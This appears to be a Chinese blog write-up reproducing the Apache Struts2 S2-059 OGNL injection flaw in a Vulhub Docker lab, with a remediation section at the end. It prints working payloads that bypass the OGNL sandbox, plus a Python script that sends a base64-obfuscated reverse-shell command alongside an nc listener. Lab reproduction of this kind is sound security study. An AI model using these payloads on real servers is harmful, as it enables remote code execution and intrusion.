本文针对 Apache Struts2 S2-059 (CVE-2019-0230) 远程代码执行漏洞进行了深度复现与原理分析。该漏洞源于 Struts2 标签库对 OGNL(Object-Graph Navigation Language) 表达式的二次解析缺陷,当开发者在标签属性中错误地引用了受攻击者控制的原始输入时,攻击者可以通过构造恶意的 OGNL 表达式绕过沙箱限制,最终在目标服务器上实现任意代码执行。
漏洞基础信息
| 项目 | 详情 |
|---|---|
| 漏洞编号 | S2-059、CVE-2019-0230、CNNVD-202008-743 |
| 漏洞等级 | 高危 (CVSS 评分:8.5) |
| 发布时间 | 2020 年 8 月 13 日 (Apache 官方公告) |
| 影响版本 | Apache Struts2:2.0.0-2.5.20 |
| 漏洞类型 | OGNL 表达式注入 → 远程代码执行 (RCE) |
| 发现者 | 苹果信息安全部门的 Matthias Kaiser |
漏洞复现
漏洞利用条件
该漏洞利用限制较多,需同时满足以下条件:
- altSyntax 功能开启:默认在高版本中已关闭
- 特定标签:继承
AbstractUITag类的标签(如<s:a>、<s:label>等) - 特定属性:仅
id属性会被二次解析(其他属性直接赋值) - 可控输入:标签
id属性使用%{...}表达式,且表达式内变量(如skillName)可被用户控制 - 无安全验证:应用未对用户输入进行 OGNL 表达式过滤或安全校验
复现环境准备
S2-059 利用条件苛刻,手动搭建易出错,优先使用现成的 Docker 镜像:
# 安装Docker和docker-compose
apt install docker.io docker-compose
# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git
# 拉取镜像并启动容器
cd vulhub/struts2/s2-059
docker-compose up -d
# 确认容器启动状态
docker ps | grep s2-059
9210c78f5333 vulhub/struts2:2.5.16 "/usr/local/bin/mvn-…" 3 minutes ago Up 3 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp s2-059-struts2-1
启动成功后,访问 http://target-IP:8080,能看到 Struts2 测试页面即环境就绪。

测试漏洞
构造请求:http://target-IP:8080/?id=%25{6*6},F12查看元素会发现id的值变成了36。

其中:
?id=:HTTP 请求的参数键值对,id 是参数名(对应 S2-059 漏洞中可触发二次解析的标签id属性);
%25{6*6}:%25 是字符 % 的 URL 编码,%{6*6}为OGNL 表达式模板(S2-059 漏洞中,开启altSyntax后,%{}包裹的内容会被当作 OGNL 表达式解析);
注:如果此处测试请求为%25{1+1},按 HTTP 标准(RFC 3986),参数中的 + 号会被自动解码为 空格;最终服务器实际接收到的 id 参数值是 %{1 1}。
攻击过程
突破安全限制
这是 S2-059(2.5.20 版本)远程代码执行的前置必要步骤,没有这一步,所有命令执行 POC 都会被沙箱拦截,最终无结果 / 报错。核心目的是突破 Struts2 内置的安全限制,2.5.20 版本为了防御 OGNL 注入,会通过OgnlUtil类维护 “禁止访问的类 / 包名单”(比如java.lang.Runtime、java.io等敏感类)。
OGNL 表达式为:
%{
(#context=#attr['struts.valueStack'].context).
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.setExcludedClasses('')).
(#ognlUtil.setExcludedPackageNames(''))
}
(#context=#attr['struts.valueStack'].context):获取 Struts2 上下文对象,相当于拿到系统的总控制入口。struts.valueStack是 Struts2 的核心对象,存储了请求的所有上下文信息;#attr是 OGNL 中访问页面属性的关键字(#container=#context['com.opensymphony.xwork2.ActionContext.container']):从上下文里拿到 “容器对象”,这个对象管理着 Struts2 所有工具类的实例。ActionContext.container是 Struts2 的 IOC 容器,负责创建 / 管理核心工具类(如OgnlUtil)(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)):获取 OGNL 工具类。OgnlUtil是控制 OGNL 沙箱黑名单的核心类,getInstance()是容器的实例获取方法;@类名@class是 OGNL 中访问静态类的语法(#ognlUtil.setExcludedClasses('')):清空黑名单类。setExcludedClasses('')将沙箱的 “禁止类名单” 设为空字符串,默认黑名单包含Runtime、Process等敏感类。
编码后的URL为:
http://target-IP:8080/?id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D
任意命令执行(反弹shell)
OGNL 表达式为:
%{
(#context=#attr['struts.valueStack'].context).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec('command'))
}
这个表达式比上文更为简洁、更底层的写法,可以实现权限绕过 + 命令执行。
(#context=#attr['struts.valueStack'].context):获取 Struts2 上下文对象。#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)):取消所有对 “私有方法、静态方法、敏感类” 的访问限制。@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS:OGNL 的默认权限实例,无任何访问限制(允许调用私有方法、静态方法、任意类);这一步替代了 “清空 OgnlUtil 黑名单” 的操作,是更底层的权限绕过方式。@java.lang.Runtime@getRuntime().exec('command'):调用 Java 的核心类执行任意系统命令。
攻击机监听:
nc -lvvp 6666
使用Base64 在线编码解码将原始命令编码,是绕过命令检测机制的最简单初级的方法:

编写Python脚本:
import requests
url = "target-IP:8080"
data = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res = requests.post(url, data=data)
反弹成功,可以看到容器id9210c78f5333正是靶机的id:

漏洞修复方案
- 升级版本:Apache Struts2 官方已发布修复版本2.5.22(建议直接升级到最新稳定版)
- 修复方式:在
UIBean类的populateComponentHtmlId()方法中,对id值使用findStringIfAltSyntax时添加额外判断,避免二次解析
附录
Docker换源
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": [
"https://docker.m.daocloud.io",
"https://reg-mirror.qiniu.com",
"https://docker.1panel.live"
]}
EOF
# 重启Docker生效
sudo systemctl daemon-reload
sudo systemctl restart docker
阿里云提供个人专属镜像源,速度更快且更稳定。登录阿里云控制台,在「镜像加速器」板块获取专属的镜像地址替换上面的阿里云地址 阿里云镜像加速器的使用存在严格的环境限制—— 它并非对所有网络环境开放,仅面向阿里云用户的公网阿里云产品。